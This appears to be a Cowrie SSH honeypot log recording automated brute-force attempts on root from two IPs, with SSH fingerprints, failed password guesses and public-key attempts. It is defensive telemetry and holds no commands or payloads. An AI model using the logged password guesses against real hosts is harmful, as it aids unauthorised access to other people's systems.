{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:10.716772Z","src_ip":"60.165.124.241","session":"32d96a06004e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33076,"dst_ip":"10.17.0.5","dst_port":22,"session":"a13226e87350","protocol":"ssh","message":"New connection: 60.165.124.241:33076 (10.17.0.5:22) [session: a13226e87350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:10.963851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:10.968624Z","src_ip":"60.165.124.241","session":"a13226e87350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:11.219366Z","src_ip":"60.165.124.241","session":"a13226e87350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wobuzhidao","message":"login attempt [root/wobuzhidao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:11.952290Z","src_ip":"60.165.124.241","session":"a13226e87350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:13.206354Z","src_ip":"60.165.124.241","session":"a13226e87350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35798,"dst_ip":"10.17.0.5","dst_port":22,"session":"99bde3aef9b9","protocol":"ssh","message":"New connection: 60.165.124.241:35798 (10.17.0.5:22) [session: 99bde3aef9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:13.441155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:13.445992Z","src_ip":"60.165.124.241","session":"99bde3aef9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:13.686799Z","src_ip":"60.165.124.241","session":"99bde3aef9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bysl@2021","message":"login attempt [root/bysl@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:14.428665Z","src_ip":"60.165.124.241","session":"99bde3aef9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:15.677568Z","src_ip":"60.165.124.241","session":"99bde3aef9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38678,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b052a4b3f59","protocol":"ssh","message":"New connection: 60.165.124.241:38678 (10.17.0.5:22) [session: 7b052a4b3f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:15.917283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:15.922260Z","src_ip":"60.165.124.241","session":"7b052a4b3f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:16.169432Z","src_ip":"60.165.124.241","session":"7b052a4b3f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WaTu123!@#","message":"login attempt [root/WaTu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:16.911265Z","src_ip":"60.165.124.241","session":"7b052a4b3f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:18.162315Z","src_ip":"60.165.124.241","session":"7b052a4b3f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5741c34710d","protocol":"ssh","message":"New connection: 60.165.124.241:41584 (10.17.0.5:22) [session: a5741c34710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:18.426713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:18.431795Z","src_ip":"60.165.124.241","session":"a5741c34710d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:18.696183Z","src_ip":"60.165.124.241","session":"a5741c34710d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.119.194","src_port":47976,"dst_ip":"10.17.0.5","dst_port":22,"session":"110dccc23e50","protocol":"ssh","message":"New connection: 23.239.119.194:47976 (10.17.0.5:22) [session: 110dccc23e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.096061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.100890Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.162046Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user123@","message":"login attempt [root/user123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.449886Z","src_ip":"60.165.124.241","session":"a5741c34710d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:91:4e:b4:67:3b:95:ff:12:35:10:a5:6a:04:37:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc6L8nyi75o4R51JbB4dSpluDU+Xu14MNgYhiSs8DnCDEqhSU5DldaSZlYJZQQ3tov5ZP+EmUnwjf/ZtOz5q3qMiQYrPlzJ6HgbkRahmKDeh9Sx4cRp4kx9dKTuvduSSTm1yevMS9yI949mxvhTEirEsxXqiZ8ZpTQc8PqN2uS0mmLdQ/rPe/gPl7quR5uaexTfpWg1Ak8zlLfTt+cXaqhIUqQqg2lkudlkb6LMA/f/JJ/HtbhaYgvmaguG1mnWiTZdQS9fr33Lti8LF+Li6Q6gTILIF993iclGgezSFcWLWc95VZ7ima3THKDSP5VYaKpSnaLWTZ3XkOZTgMv1XvB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:91:4e:b4:67:3b:95:ff:12:35:10:a5:6a:04:37:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.454666Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:91:4e:b4:67:3b:95:ff:12:35:10:a5:6a:04:37:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc6L8nyi75o4R51JbB4dSpluDU+Xu14MNgYhiSs8DnCDEqhSU5DldaSZlYJZQQ3tov5ZP+EmUnwjf/ZtOz5q3qMiQYrPlzJ6HgbkRahmKDeh9Sx4cRp4kx9dKTuvduSSTm1yevMS9yI949mxvhTEirEsxXqiZ8ZpTQc8PqN2uS0mmLdQ/rPe/gPl7quR5uaexTfpWg1Ak8zlLfTt+cXaqhIUqQqg2lkudlkb6LMA/f/JJ/HtbhaYgvmaguG1mnWiTZdQS9fr33Lti8LF+Li6Q6gTILIF993iclGgezSFcWLWc95VZ7ima3THKDSP5VYaKpSnaLWTZ3XkOZTgMv1XvB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.458054Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:d7:97:71:80:c4:b3:42:37:5a:39:1d:5a:37:56:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApXDimvIIMi9DHMDelX711g1fNZdumjcpgLWaPkJR/ChIrx6QlFbmUFBTPLCbTDlfaUxHB62O91DK51Y78ZLC9FkNK27bn/kPxTj4QCg/+7fzlO9ICrmZgdJO+9XxMcUY7+NrGOKHWUpv7ZBYvOycaDAbnkLoUMezC6fvCMQDKFfQB9tz+ViqyRzOtRjnwQAVg5Gte3gmldeIJU1WEZ5D+HvTiOae84zLANbrhqat6Ky6JKmqVwnYzPvFOfvQsGyQ6ud5pR6Dy5PNKYFtGzhPFeMW+hd85eY2SdzauhgxsW0pGcGoBCQtdAeSNXX59unELifegke5qMubdWgwe/6j4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:d7:97:71:80:c4:b3:42:37:5a:39:1d:5a:37:56:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.519572Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:d7:97:71:80:c4:b3:42:37:5a:39:1d:5a:37:56:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApXDimvIIMi9DHMDelX711g1fNZdumjcpgLWaPkJR/ChIrx6QlFbmUFBTPLCbTDlfaUxHB62O91DK51Y78ZLC9FkNK27bn/kPxTj4QCg/+7fzlO9ICrmZgdJO+9XxMcUY7+NrGOKHWUpv7ZBYvOycaDAbnkLoUMezC6fvCMQDKFfQB9tz+ViqyRzOtRjnwQAVg5Gte3gmldeIJU1WEZ5D+HvTiOae84zLANbrhqat6Ky6JKmqVwnYzPvFOfvQsGyQ6ud5pR6Dy5PNKYFtGzhPFeMW+hd85eY2SdzauhgxsW0pGcGoBCQtdAeSNXX59unELifegke5qMubdWgwe/6j4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.525630Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:b9:19:df:e4:3a:9c:4e:c4:4e:02:2a:17:bd:f0:67","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKOKT4qSFUHVj5KD0vUl5GZ5RUAm5yddIAMyPeNR2UkyVl/AHtJcqqb+L9SKUQm5vdTdrGTqbLwEwx1ZaVQp6F9drlsDv+aOBOyejSPX/YRyJg6TKBzb9u90fj6pNttypA8fc4+sTt+rDSDr+1aDbW45bGUYair4ZG5ESPBFWOP/AAAAFQCWROp5bjT+ALrtD5iuB1TFHPMfQQAAAIB9dYG3e6fFnjaVYRYzSW3HDZ/Q8H3huON7FLMwzoGXgc1+kxxx+2bOabkgtmdrcE6JTkxzRIefNymmv65Ec+shCP4W9vDCK2ghXM3wwqW7Yz60xp8MdeEYkxIqxEcdZjJJcDhopcURxjbjadmYWl+gB9uQiRNHC3lcrMu7QJFv8QAAAIAvdlpMZP2QB/ApS/RQyNmP7DOM63awwwVrFrwWwNe5I7x0IzNBit1wLDWJFDMOWrPQ8gma32/PzLkDq11cLauLVw264gyYxy8Mg3u17slUSghPsEo+k4Sxva8dImAt5ppfOko4lex7LfKyb6VV4Q/02NxgX67zpfbCXfAA9zfbrQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8a:b9:19:df:e4:3a:9c:4e:c4:4e:02:2a:17:bd:f0:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.587117Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:b9:19:df:e4:3a:9c:4e:c4:4e:02:2a:17:bd:f0:67","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKOKT4qSFUHVj5KD0vUl5GZ5RUAm5yddIAMyPeNR2UkyVl/AHtJcqqb+L9SKUQm5vdTdrGTqbLwEwx1ZaVQp6F9drlsDv+aOBOyejSPX/YRyJg6TKBzb9u90fj6pNttypA8fc4+sTt+rDSDr+1aDbW45bGUYair4ZG5ESPBFWOP/AAAAFQCWROp5bjT+ALrtD5iuB1TFHPMfQQAAAIB9dYG3e6fFnjaVYRYzSW3HDZ/Q8H3huON7FLMwzoGXgc1+kxxx+2bOabkgtmdrcE6JTkxzRIefNymmv65Ec+shCP4W9vDCK2ghXM3wwqW7Yz60xp8MdeEYkxIqxEcdZjJJcDhopcURxjbjadmYWl+gB9uQiRNHC3lcrMu7QJFv8QAAAIAvdlpMZP2QB/ApS/RQyNmP7DOM63awwwVrFrwWwNe5I7x0IzNBit1wLDWJFDMOWrPQ8gma32/PzLkDq11cLauLVw264gyYxy8Mg3u17slUSghPsEo+k4Sxva8dImAt5ppfOko4lex7LfKyb6VV4Q/02NxgX67zpfbCXfAA9zfbrQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.590933Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:68:c4:ce:95:1e:4e:3e:6b:7b:c7:6a:2d:a9:c2:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzn+9itITcNJngZs5FV+C4kap5KQ3W7F2Jh0GyJrrWaPOqtzqp/y8qo2ArTP0MrDWKmtBK5XwogrvQP41stt/zO7N8owIMCqF8cFMUzgv8Bohecmup10ULeCgxcIPx3hKKMSw8myNeOCMjHwqm9YSrRUg++ywamsJdUC6GAN5HgiahupEC3ysJYjAJwuVeZCtt7X28ldR0B1w4sd5qPTvr7Vh3p1VRV85KKi8FwGWhukAvxfUMMtYSnKhzIdT/sqI7tBC2bX55Vi+gN03GNE1PvBPUKLPHjHdJIlB3T0ysn9pFAGKtbx/eZW5EZFzHzoF1c5rKop0+n0sCSzhnL3Tt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:68:c4:ce:95:1e:4e:3e:6b:7b:c7:6a:2d:a9:c2:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.653132Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:68:c4:ce:95:1e:4e:3e:6b:7b:c7:6a:2d:a9:c2:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzn+9itITcNJngZs5FV+C4kap5KQ3W7F2Jh0GyJrrWaPOqtzqp/y8qo2ArTP0MrDWKmtBK5XwogrvQP41stt/zO7N8owIMCqF8cFMUzgv8Bohecmup10ULeCgxcIPx3hKKMSw8myNeOCMjHwqm9YSrRUg++ywamsJdUC6GAN5HgiahupEC3ysJYjAJwuVeZCtt7X28ldR0B1w4sd5qPTvr7Vh3p1VRV85KKi8FwGWhukAvxfUMMtYSnKhzIdT/sqI7tBC2bX55Vi+gN03GNE1PvBPUKLPHjHdJIlB3T0ysn9pFAGKtbx/eZW5EZFzHzoF1c5rKop0+n0sCSzhnL3Tt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.657614Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:f5:cd:6d:d7:d9:1d:72:f6:f2:62:5a:bb:b6:34:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsCyukvZAu/MmEBuT6AvjVNvUG9b+gKQoOJ+oBX0bf0/530TLepNhDR5zzZ3KTY7QRrTpCHouoBN3McqEsSBGpgbeGAscynjtvHGrKdvYdzYOfB8IBHgYKSEWqGyjOTVn286TUdAqahHUrgdEhao6OS1OCr8UzWySOGZmY+In/9HHDBilDFlroQu0p22tkUhltTWYJ2tXxCVie246rwBd+j7E3loZLT+lgCk456I6QsSYiGBf1opqWLgRMO5blM7K7/gl4tTSMN1cM9MKy1p3a2p9unPM3yBXZDKPSAGOyVCPuUrcFb9/REE4TbLD4+qcdg5DHuz3XU5WqTBYS8Bjt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:f5:cd:6d:d7:d9:1d:72:f6:f2:62:5a:bb:b6:34:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.720473Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
